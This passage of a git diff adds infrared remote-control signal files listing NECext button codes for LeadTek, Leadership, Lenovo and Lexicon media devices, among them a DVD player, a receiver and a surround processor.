00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir new file mode 100644 index 000000000..99f027127 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: PreviousTrack +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 43 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 44 00 00 00 +# +name: TimeShift +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 46 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 46 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 47 00 00 00 +# +name: SnapShot +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 48 00 00 00 +# +name: Bosskey +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 49 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 50 00 00 00 +# +name: Surf +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 51 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 52 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 53 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 54 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 55 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 56 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 57 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir new file mode 100644 index 000000000..426a161ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: more +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: mytv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: rtv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: tela +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: msn +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir b/assets/resources/infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir new file mode 100644 index 000000000..2bdcbbd9f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 1F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 21 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 29 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 2C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 2E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 37 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 3E 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 5B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 5C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 5D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 83 00 00 00 +# +name: KEY_PVR +type: parsed +protocol: NECext +address: 04 45 00 00 +command: 9B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 45 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir new file mode 100644 index 000000000..79aa72a16 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir new file mode 100644 index 000000000..b550b8d38 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: M_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 06 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 08 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 09 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0A 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0B 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: L7_FILM +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: L7_TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: L7_MUSIC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 15 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 17 00 00 00 +# +name: STAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 00 00 00 +# +name: 2_CHANNEL +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1F 00 00 00 +# +name: DVD_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 20 00 00 00 +# +name: DVD_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 21 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 23 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 24 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 25 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 2B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 39 00 00 00 +# +name: ENT. +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 3A 00 00 00 +# +name: L7_MS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 90 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9B 00 00 00 +# +name: A/D +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9E 00 00 00 +# +name: A_BYP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir new file mode 100644 index 000000000..fb592c599 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir @@ -0,0 +1,1610 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: MENU_UP_ARROW +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: MENU:_UP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 01 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 02 00 00 00 +# +name: DISPLAY:_OSD_ON/OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 02 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 02 00 00 00 +# +name: FRONT_PANEL_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 03 00 00 00 +# +name: DISPLAY:_BACK_ON/OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 03 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 03 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 04 00 00 00 +# +name: FRONT_PANEL_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 04 00 00 00 +# +name: DISPLAY:_FP_ON/OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 04 00 00 00 +# +name: FP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 04 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 05 00 00 00 +# +name: OSD_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 05 00 00 00 +# +name: PWR:_ON/STDBY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 05 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 06 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 08 00 00 00 +# +name: MENU_SELECT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 08 00 00 00 +# +name: MENU:_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 08 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 08 00 00 00 +# +name: MENU:_ON/OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 09 00 00 00 +# +name: DONE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0A 00 00 00 +# +name: MENU_DONE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0A 00 00 00 +# +name: MENU:_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0A 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0A 00 00 00 +# +name: MODE:_THX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0B 00 00 00 +# +name: THX_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0B 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: MODE:_DOLBY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: DD_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0C 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: MODE:_LOGIC7 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: L7_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0D 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: MODE:_TV_LOGIC7 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: TV_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: INPUT_AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: MODE:_DTS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: DTS_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 0F 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: MODE:_MUSIC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: MUSIC_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 10 00 00 00 +# +name: VIDEO_DISC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 11 00 00 00 +# +name: INPUT_V-DISC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 11 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 12 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 12 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 13 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 13 00 00 00 +# +name: RECORD_ZONE_II +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 14 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 15 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 15 00 00 00 +# +name: MAIN:_VOLUME_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 15 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 16 00 00 00 +# +name: MAIN:_VOLUME_-1DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 17 00 00 00 +# +name: MAIN:_VOLUME_+1DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 17 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 17 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 18 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 19 00 00 00 +# +name: EFFECT_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1A 00 00 00 +# +name: FX_UP +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1A 00 00 00 +# +name: MODE:_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1A 00 00 00 +# +name: MODE_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1A 00 00 00 +# +name: EFFECT_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1B 00 00 00 +# +name: FX_DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1B 00 00 00 +# +name: MODE:_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1B 00 00 00 +# +name: MODE_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1B 00 00 00 +# +name: MAIN:_STATUS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1C 00 00 00 +# +name: STAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1C 00 00 00 +# +name: MENU_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 00 00 00 +# +name: MENU_DOWN_ARROW +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 